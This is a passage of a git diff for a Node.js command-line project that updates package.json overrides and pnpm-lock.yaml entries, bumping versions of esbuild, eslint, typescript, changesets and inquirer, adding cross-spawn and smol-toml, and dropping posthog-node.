"esbuild" + ], + "overrides": { + "brace-expansion@<=5.0.8": ">=5.0.9 <6", + "postcss@<8.5.23": ">=8.5.23 <9" + } } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a632f81133..89fc5b9b19 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -4,62 +4,69 @@ settings: autoInstallPeers: true excludeLinksFromLockfile: false +overrides: + brace-expansion@<=5.0.8: '>=5.0.9 <6' + postcss@<8.5.23: '>=8.5.23 <9' + importers: .: dependencies: '@inquirer/core': - specifier: ^10.2.2 - version: 10.2.2(@types/node@24.2.0) + specifier: ^10.3.2 + version: 10.3.2(@types/node@20.19.43) '@inquirer/prompts': - specifier: ^7.8.0 - version: 7.8.0(@types/node@24.2.0) + specifier: ^7.10.1 + version: 7.10.1(@types/node@20.19.43) chalk: - specifier: ^5.5.0 - version: 5.5.0 + specifier: ^5.6.2 + version: 5.6.2 commander: specifier: ^14.0.0 - version: 14.0.0 + version: 14.0.3 + cross-spawn: + specifier: 7.0.6 + version: 7.0.6 fast-glob: specifier: ^3.3.3 version: 3.3.3 ora: - specifier: ^8.2.0 - version: 8.2.0 - posthog-node: - specifier: ^5.20.0 - version: 5.20.0 + specifier: ^9.4.1 + version: 9.4.1 yaml: - specifier: ^2.8.2 - version: 2.8.2 + specifier: ^2.8.3 + version: 2.9.0 zod: - specifier: ^4.0.17 - version: 4.0.17 + specifier: ^4.4.3 + version: 4.4.3 devDependencies: '@changesets/changelog-github': - specifier: ^0.5.2 - version: 0.5.2 + specifier: ^0.7.0 + version: 0.7.0 '@changesets/cli': - specifier: ^2.27.7 - version: 2.29.6(@types/node@24.2.0) + specifier: ^2.31.1 + version: 2.31.1(@types/node@20.19.43) '@types/node': - specifier: ^24.2.0 - version: 24.2.0 + specifier: ^20.19.43 + version: 20.19.43 '@vitest/ui': - specifier: ^3.2.4 - version: 3.2.4(vitest@3.2.4) + specifier: ^3.2.6 + version: 3.2.6(vitest@3.2.6) eslint: - specifier: ^9.39.2 - version: 9.39.2 + specifier: ^10.5.0 + version: 10.8.0 + smol-toml: + specifier: ^1.7.1 + version: 1.7.1 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 typescript-eslint: - specifier: ^8.50.1 - version: 8.50.1(eslint@9.39.2)(typescript@5.9.3) + specifier: ^8.65.0 + version: 8.65.0(eslint@10.8.0)(typescript@6.0.3) vitest: - specifier: ^3.2.4 - version: 3.2.4(@types/node@24.2.0)(@vitest/ui@3.2.4)(yaml@2.8.2) + specifier: ^3.2.6 + version: 3.2.6(@types/node@20.19.43)(@vitest/ui@3.2.6)(yaml@2.9.0) packages: @@ -67,36 +74,36 @@ packages: resolution: {integrity: sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==} engines: {node: '>=6.9.0'} - '@changesets/apply-release-plan@7.0.12': - resolution: {integrity: sha512-EaET7As5CeuhTzvXTQCRZeBUcisoYPDDcXvgTE/2jmmypKp0RC7LxKj/yzqeh/1qFTZI7oDGFcL1PHRuQuketQ==} + '@changesets/apply-release-plan@7.1.1': + resolution: {integrity: sha512-9qPCm/rLx/xoOFXIHGB229+4GOL76S4MC+7tyOuTsR6+1jYlfFDQORdvwR5hDA6y4FL2BPt3qpbcQIS+dW85LA==} - '@changesets/assemble-release-plan@6.0.9': - resolution: {integrity: sha512-tPgeeqCHIwNo8sypKlS3gOPmsS3wP0zHt67JDuL20P4QcXiw/O4Hl7oXiuLnP9yg+rXLQ2sScdV1Kkzde61iSQ==} + '@changesets/assemble-release-plan@6.0.10': + resolution: {integrity: sha512-rSDcqdJ9KbVyjpBIuCidhvZNIiVt1XaIYp73ycVQRIA5n/j6wQaEk0ChRLMUQ1vkxZe51PTQ9OIhbg6HQMW45A==} '@changesets/changelog-git@0.2.1': resolution: {integrity: sha512-x/xEleCFLH28c3bQeQIyeZf8lFXyDFVn1SgcBiR2Tw/r4IAWlk1fzxCEZ6NxQAjF2Nwtczoen3OA2qR+UawQ8Q==} - '@changesets/changelog-github@0.5.2': - resolution: {integrity: sha512-HeGeDl8HaIGj9fQHo/tv5XKQ2SNEi9+9yl1Bss1jttPqeiASRXhfi0A2wv8yFKCp07kR1gpOI5ge6+CWNm1jPw==} + '@changesets/changelog-github@0.7.0': + resolution: {integrity: sha512-rBsbRvc4TVn+FvFnOVM3LxlFJfTXXCp8gfVJ+0BubxWNSVnLuAzowi5j+IEraLLP52w8AAs9QfKbPS3MMiXQJA==} - '@changesets/cli@2.29.6': - resolution: {integrity: sha512-6qCcVsIG1KQLhpQ5zE8N0PckIx4+9QlHK3z6/lwKnw7Tir71Bjw8BeOZaxA/4Jt00pcgCnCSWZnyuZf5Il05QQ==} + '@changesets/cli@2.31.1': + resolution: {integrity: sha512-uO05WTcRBwuVOJVSW8Cmpqw6q0WDL53ajGCMyszutvOe5toOnunbpM4jZzf+qxBOz7i0AzopZ8diBuewjmF40w==} hasBin: true - '@changesets/config@3.1.1': - resolution: {integrity: sha512-bd+3Ap2TKXxljCggI0mKPfzCQKeV/TU4yO2h2C6vAihIo8tzseAn2e7klSuiyYYXvgu53zMN1OeYMIQkaQoWnA==} + '@changesets/config@3.1.4': + resolution: {integrity: sha512-pf0bvD/v6WI2cRlZ6hzpjtZdSlXDXMAJ+Iz7xfFzV4ZxJ8OGGAON+1qYc99ZPrijnt4xp3VGG7eNvAOGS24V1Q==} '@changesets/errors@0.2.0': resolution: {integrity: sha512-6BLOQUscTpZeGljvyQXlWOItQyU71kCdGz7Pi8H8zdw6BI0g3m43iL4xKUVPWtG+qrrL9DTjpdn8eYuCQSRpow==} - '@changesets/get-dependents-graph@2.1.3': - resolution: {integrity: sha512-gphr+v0mv2I3Oxt19VdWRRUxq3sseyUpX9DaHpTUmLj92Y10AGy+XOtV+kbM6L/fDcpx7/ISDFK6T8A/P3lOdQ==} + '@changesets/get-dependents-graph@2.1.4': + resolution: {integrity: sha512-ZsS00x6WvmHq3sQv8oCMwL0f/z3wbXCVuSVTJwCnnmbC/iBdNJGFx1EcbMG4PC6sXRyH69liM4A2WKXzn/kRPg==} - '@changesets/get-github-info@0.7.0': - resolution: {integrity: sha512-+i67Bmhfj9V4KfDeS1+Tz3iF32btKZB2AAx+cYMqDSRFP7r3/ZdGbjCo+c6qkyViN9ygDuBjzageuPGJtKGe5A==} + '@changesets/get-github-info@0.8.0': + resolution: {integrity: sha512-cRnC+xdF0JIik7coko3iUP9qbnfi1iJQ3sAa6dE+Tx3+ET8bjFEm63PA4WEohgjYcmsOikPHWzPsMWWiZmntOQ==} - '@changesets/get-release-plan@4.0.13': - resolution: {integrity: sha512-DWG1pus72FcNeXkM12tx+xtExyH/c9I1z+2aXlObH3i9YA7+WZEVaiHzHl03thpvAgWTRaH64MpfHxozfF7Dvg==} + '@changesets/get-release-plan@4.0.16': + resolution: {integrity: sha512-2K5Om6CrMPm45rtvckfzWo7e9jOVCKLCnXia5eUPaURH7/LWzri7pK1TycdzAuAtehLkW7VPbWLCSExTHmiI6g==} '@changesets/get-version-range-type@0.4.0': resolution: {integrity: sha512-hwawtob9DryoGTpixy1D3ZXbGgJu1Rhr+ySH2PvTLHvkZuQ7sRT4oQwMh0hbqZH1weAooedEjRsbrWcGLCeyVQ==} @@ -107,14 +114,14 @@ packages: '@changesets/logger@0.1.1': resolution: {integrity: sha512-OQtR36ZlnuTxKqoW4Sv6x5YIhOmClRd5pWsjZsddYxpWs517R0HkyiefQPIytCVh4ZcC5x9XaG8KTdd5iRQUfg==} - '@changesets/parse@0.4.1': - resolution: {integrity: sha512-iwksMs5Bf/wUItfcg+OXrEpravm5rEd9Bf4oyIPL4kVTmJQ7PNDSd6MDYkpSJR1pn7tz/k8Zf2DhTCqX08Ou+Q==} + '@changesets/parse@0.4.3': + resolution: {integrity: sha512-ZDmNc53+dXdWEv7fqIUSgRQOLYoUom5Z40gmLgmATmYR9NbL6FJJHwakcCpzaeCy+1D0m0n7mT4jj2B/MQPl7A==} '@changesets/pre@2.0.2': resolution: {integrity: sha512-HaL/gEyFVvkf9KFg6484wR9s0qjAXlZ8qWPDkTyKF6+zqjBe/I2mygg3MbpZ++hdi0ToqNUF8cjj7fBy0dg8Ug==} - '@changesets/read@0.6.5': - resolution: {integrity: sha512-UPzNGhsSjHD3Veb0xO/MwvasGe8eMyNrR/sT9gR8Q3DhOQZirgKhhXv/8hVsI0QpPjR004Z9iFxoJU6in3uGMg==} + '@changesets/read@0.6.7': + resolution: {integrity: sha512-D1G4AUYGrBEk8vj8MGwf75k9GpN6XL3wg8i42P2jZZwFLXnlr2Pn7r9yuQNbaMCarP7ZQWNJbV6XLeysAIMhTA==} '@changesets/should-skip-package@0.1.2': resolution: {integrity: sha512-qAK/WrqWLNCP22UDdBTMPH5f41elVDlsNyat180A33dWxuUDyNpg6fPi/FyTZwRriVjg0L8gnjJn2F9XAoF0qw==} @@ -128,164 +135,164 @@ packages: '@changesets/write@0.4.0': resolution: {integrity: sha512-CdTLvIOPiCNuH71pyDu3rA+Q0n65cmAbXnwWH84rKGiFumFzkmHNT8KHTMEchcxN+Kl8I54xGUhJ7l3E7X396Q==} - '@esbuild/aix-ppc64@0.25.8': - resolution: {integrity: sha512-urAvrUedIqEiFR3FYSLTWQgLu5tb+m0qZw0NBEasUeo6wuqatkMDaRT+1uABiGXEu5vqgPd7FGE1BhsAIy9QVA==} + '@esbuild/aix-ppc64@0.28.1': + resolution: {integrity: sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==} engines: {node: '>=18'} cpu: [ppc64] os: [aix] - '@esbuild/android-arm64@0.25.8': - resolution: {integrity: sha512-OD3p7LYzWpLhZEyATcTSJ67qB5D+20vbtr6vHlHWSQYhKtzUYrETuWThmzFpZtFsBIxRvhO07+UgVA9m0i/O1w==} + '@esbuild/android-arm64@0.28.1': + resolution: {integrity: sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==} engines: {node: '>=18'} cpu: [arm64] os: [android] - '@esbuild/android-arm@0.25.8': - resolution: {integrity: sha512-RONsAvGCz5oWyePVnLdZY/HHwA++nxYWIX1atInlaW6SEkwq6XkP3+cb825EUcRs5Vss/lGh/2YxAb5xqc07Uw==} + '@esbuild/android-arm@0.28.1': + resolution: {integrity: sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==} engines: {node: '>=18'} cpu: [arm] os: [android] - '@esbuild/android-x64@0.25.8': - resolution: {integrity: sha512-yJAVPklM5+4+9dTeKwHOaA+LQkmrKFX96BM0A/2zQrbS6ENCmxc4OVoBs5dPkCCak2roAD+jKCdnmOqKszPkjA==} + '@esbuild/android-x64@0.28.1': + resolution: {integrity: sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==} engines: {node: '>=18'} cpu: [x64] os: [android] - '@esbuild/darwin-arm64@0.25.8': - resolution: {integrity: sha512-Jw0mxgIaYX6R8ODrdkLLPwBqHTtYHJSmzzd+QeytSugzQ0Vg4c5rDky5VgkoowbZQahCbsv1rT1KW72MPIkevw==} + '@esbuild/darwin-arm64@0.28.1': + resolution: {integrity: sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==} engines: {node: '>=18'} cpu: [arm64] os: [darwin] - '@esbuild/darwin-x64@0.25.8': - resolution: {integrity: sha512-Vh2gLxxHnuoQ+GjPNvDSDRpoBCUzY4Pu0kBqMBDlK4fuWbKgGtmDIeEC081xi26PPjn+1tct+Bh8FjyLlw1Zlg==} + '@esbuild/darwin-x64@0.28.1': + resolution: {integrity: sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==} engines: {node: '>=18'} cpu: [x64] os: [darwin] - '@esbuild/freebsd-arm64@0.25.8': - resolution: {integrity: sha512-YPJ7hDQ9DnNe5vxOm6jaie9QsTwcKedPvizTVlqWG9GBSq+BuyWEDazlGaDTC5NGU4QJd666V0yqCBL2oWKPfA==} + '@esbuild/freebsd-arm64@0.28.1': + resolution: {integrity: sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==} engines: {node: '>=18'} cpu: [arm64] os: [freebsd] - '@esbuild/freebsd-x64@0.25.8': - resolution: {integrity: sha512-MmaEXxQRdXNFsRN/KcIimLnSJrk2r5H8v+WVafRWz5xdSVmWLoITZQXcgehI2ZE6gioE6HirAEToM/RvFBeuhw==} + '@esbuild/freebsd-x64@0.28.1': + resolution: {integrity: sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==} engines: {node: '>=18'} cpu: [x64] os: [freebsd] - '@esbuild/linux-arm64@0.25.8': - resolution: {integrity: sha512-WIgg00ARWv/uYLU7lsuDK00d/hHSfES5BzdWAdAig1ioV5kaFNrtK8EqGcUBJhYqotlUByUKz5Qo6u8tt7iD/w==} + '@esbuild/linux-arm64@0.28.1': + resolution: {integrity: sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==} engines: {node: '>=18'} cpu: [arm64] os: [linux] - '@esbuild/linux-arm@0.25.8': - resolution: {integrity: sha512-FuzEP9BixzZohl1kLf76KEVOsxtIBFwCaLupVuk4eFVnOZfU+Wsn+x5Ryam7nILV2pkq2TqQM9EZPsOBuMC+kg==} + '@esbuild/linux-arm@0.28.1': + resolution: {integrity: sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==} engines: {node: '>=18'} cpu: [arm] os: [linux] - '@esbuild/linux-ia32@0.25.8': - resolution: {integrity: sha512-A1D9YzRX1i+1AJZuFFUMP1E9fMaYY+GnSQil9Tlw05utlE86EKTUA7RjwHDkEitmLYiFsRd9HwKBPEftNdBfjg==} + '@esbuild/linux-ia32@0.28.1': + resolution: {integrity: sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==} engines: {node: '>=18'} cpu: [ia32] os: [linux] - '@esbuild/linux-loong64@0.25.8': - resolution: {integrity: sha512-O7k1J/dwHkY1RMVvglFHl1HzutGEFFZ3kNiDMSOyUrB7WcoHGf96Sh+64nTRT26l3GMbCW01Ekh/ThKM5iI7hQ==} + '@esbuild/linux-loong64@0.28.1': + resolution: {integrity: sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==} engines: {node: '>=18'} cpu: [loong64] os: [linux] - '@esbuild/linux-mips64el@0.25.8': - resolution: {integrity: sha512-uv+dqfRazte3BzfMp8PAQXmdGHQt2oC/y2ovwpTteqrMx2lwaksiFZ/bdkXJC19ttTvNXBuWH53zy/aTj1FgGw==} + '@esbuild/linux-mips64el@0.28.1': + resolution: {integrity: sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==} engines: {node: '>=18'} cpu: [mips64el] os: [linux] - '@esbuild/linux-ppc64@0.25.8': - resolution: {integrity: sha512-GyG0KcMi1GBavP5JgAkkstMGyMholMDybAf8wF5A70CALlDM2p/f7YFE7H92eDeH/VBtFJA5MT4nRPDGg4JuzQ==} + '@esbuild/linux-ppc64@0.28.1': + resolution: {integrity: sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==} engines: {node: '>=18'} cpu: [ppc64] os: [linux] - '@esbuild/linux-riscv64@0.25.8': - resolution: {integrity: sha512-rAqDYFv3yzMrq7GIcen3XP7TUEG/4LK86LUPMIz6RT8A6pRIDn0sDcvjudVZBiiTcZCY9y2SgYX2lgK3AF+1eg==} + '@esbuild/linux-riscv64@0.28.1': + resolution: {integrity: sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==} engines: {node: '>=18'} cpu: [riscv64] os: [linux] - '@esbuild/linux-s390x@0.25.8': - resolution: {integrity: sha512-Xutvh6VjlbcHpsIIbwY8GVRbwoviWT19tFhgdA7DlenLGC/mbc3lBoVb7jxj9Z+eyGqvcnSyIltYUrkKzWqSvg==} + '@esbuild/linux-s390x@0.28.1': + resolution: {integrity: sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==} engines: {node: '>=18'} cpu: [s390x] os: [linux] - '@esbuild/linux-x64@0.25.8': - resolution: {integrity: sha512-ASFQhgY4ElXh3nDcOMTkQero4b1lgubskNlhIfJrsH5OKZXDpUAKBlNS0Kx81jwOBp+HCeZqmoJuihTv57/jvQ==} + '@esbuild/linux-x64@0.28.1': + resolution: {integrity: sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==} engines: {node: '>=18'} cpu: [x64] os: [linux] - '@esbuild/netbsd-arm64@0.25.8': - resolution: {integrity: sha512-d1KfruIeohqAi6SA+gENMuObDbEjn22olAR7egqnkCD9DGBG0wsEARotkLgXDu6c4ncgWTZJtN5vcgxzWRMzcw==} + '@esbuild/netbsd-arm64@0.28.1': + resolution: {integrity: sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==} engines: {node: '>=18'} cpu: [arm64] os: [netbsd] - '@esbuild/netbsd-x64@0.25.8': - resolution: {integrity: sha512-nVDCkrvx2ua+XQNyfrujIG38+YGyuy2Ru9kKVNyh5jAys6n+l44tTtToqHjino2My8VAY6Lw9H7RI73XFi66Cg==} + '@esbuild/netbsd-x64@0.28.1': + resolution: {integrity: sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==} engines: {node: '>=18'} cpu: [x64] os: [netbsd] - '@esbuild/openbsd-arm64@0.25.8': - resolution: {integrity: sha512-j8HgrDuSJFAujkivSMSfPQSAa5Fxbvk4rgNAS5i3K+r8s1X0p1uOO2Hl2xNsGFppOeHOLAVgYwDVlmxhq5h+SQ==} + '@esbuild/openbsd-arm64@0.28.1': + resolution: {integrity: sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==} engines: {node: '>=18'} cpu: [arm64] os: [openbsd] - '@esbuild/openbsd-x64@0.25.8': - resolution: {integrity: sha512-1h8MUAwa0VhNCDp6Af0HToI2TJFAn1uqT9Al6DJVzdIBAd21m/G0Yfc77KDM3uF3T/YaOgQq3qTJHPbTOInaIQ==} + '@esbuild/openbsd-x64@0.28.1': + resolution: {integrity: sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==} engines: {node: '>=18'} cpu: [x64] os: [openbsd] - '@esbuild/openharmony-arm64@0.25.8': - resolution: {integrity: sha512-r2nVa5SIK9tSWd0kJd9HCffnDHKchTGikb//9c7HX+r+wHYCpQrSgxhlY6KWV1nFo1l4KFbsMlHk+L6fekLsUg==} + '@esbuild/openharmony-arm64@0.28.1': + resolution: {integrity: sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==} engines: {node: '>=18'} cpu: [arm64] os: [openharmony] - '@esbuild/sunos-x64@0.25.8': - resolution: {integrity: sha512-zUlaP2S12YhQ2UzUfcCuMDHQFJyKABkAjvO5YSndMiIkMimPmxA+BYSBikWgsRpvyxuRnow4nS5NPnf9fpv41w==} + '@esbuild/sunos-x64@0.28.1': + resolution: {integrity: sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==} engines: {node: '>=18'} cpu: [x64] os: [sunos] - '@esbuild/win32-arm64@0.25.8': - resolution: {integrity: sha512-YEGFFWESlPva8hGL+zvj2z/SaK+pH0SwOM0Nc/d+rVnW7GSTFlLBGzZkuSU9kFIGIo8q9X3ucpZhu8PDN5A2sQ==} + '@esbuild/win32-arm64@0.28.1': + resolution: {integrity: sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==} engines: {node: '>=18'} cpu: [arm64] os: [win32] - '@esbuild/win32-ia32@0.25.8': - resolution: {integrity: sha512-hiGgGC6KZ5LZz58OL/+qVVoZiuZlUYlYHNAmczOm7bs2oE1XriPFi5ZHHrS8ACpV5EjySrnoCKmcbQMN+ojnHg==} + '@esbuild/win32-ia32@0.28.1': + resolution: {integrity: sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==} engines: {node: '>=18'} cpu: [ia32] os: [win32] - '@esbuild/win32-x64@0.25.8': - resolution: {integrity: sha512-cn3Yr7+OaaZq1c+2pe+8yxC8E144SReCQjN6/2ynubzYjvyqZjTXfQJpAcQpsdJq3My7XADANiYGHoFC69pLQw==} + '@esbuild/win32-x64@0.28.1': + resolution: {integrity: sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==} engines: {node: '>=18'} cpu: [x64] os: [win32] - '@eslint-community/eslint-utils@4.9.0': - resolution: {integrity: sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==} + '@eslint-community/eslint-utils@4.10.1': + resolution: {integrity: sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} peerDependencies: eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 @@ -294,40 +301,36 @@ packages: resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} - '@eslint/config-array@0.21.1': - resolution: {integrity: sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/config-helpers@0.4.2': - resolution: {integrity: sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@eslint/config-array@0.23.5': + resolution: {integrity: sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - '@eslint/core@0.17.0': - resolution: {integrity: sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@eslint/config-helpers@0.7.0': + resolution: {integrity: sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - '@eslint/eslintrc@3.3.3': - resolution: {integrity: sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@eslint/core@1.2.1': + resolution: {integrity: sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - '@eslint/js@9.39.2': - resolution: {integrity: sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@eslint/object-schema@3.0.5': + resolution: {integrity: sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - '@eslint/object-schema@2.1.7': - resolution: {integrity: sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@eslint/plugin-kit@0.7.2': + resolution: {integrity: sha512-+CNAzxglkrpNf/kKywqQfk74QjtceuOE7Qm+AF8miRvPF/wmmK5+OJOgVh3AVTT3RP2mH3+FOaxlE5v72owk0A==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - '@eslint/plugin-kit@0.4.1': - resolution: {integrity: sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@humanfs/core@0.19.2': + resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} + engines: {node: '>=18.18.0'} - '@humanfs/core@0.19.1': - resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==} + '@humanfs/node@0.16.8': + resolution: {integrity: sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==} engines: {node: '>=18.18.0'} - '@humanfs/node@0.16.7': - resolution: {integrity: sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==} + '@humanfs/types@0.15.0': + resolution: {integrity: sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==} engines: {node: '>=18.18.0'} '@humanwhocodes/module-importer@1.0.1': @@ -338,12 +341,12 @@ packages: resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==} engines: {node: '>=18.18'} - '@inquirer/ansi@1.0.0': - resolution: {integrity: sha512-JWaTfCxI1eTmJ1BIv86vUfjVatOdxwD0DAVKYevY8SazeUUZtW+tNbsdejVO1GYE0GXJW1N1ahmiC3TFd+7wZA==} + '@inquirer/ansi@1.0.2': + resolution: {integrity: sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==} engines: {node: '>=18'} - '@inquirer/checkbox@4.2.0': - resolution: {integrity: sha512-fdSw07FLJEU5vbpOPzXo5c6xmMGDzbZE2+niuDHX5N6mc6V0Ebso/q3xiHra4D73+PMsC8MJmcaZKuAAoaQsSA==} + '@inquirer/checkbox@4.3.2': + resolution: 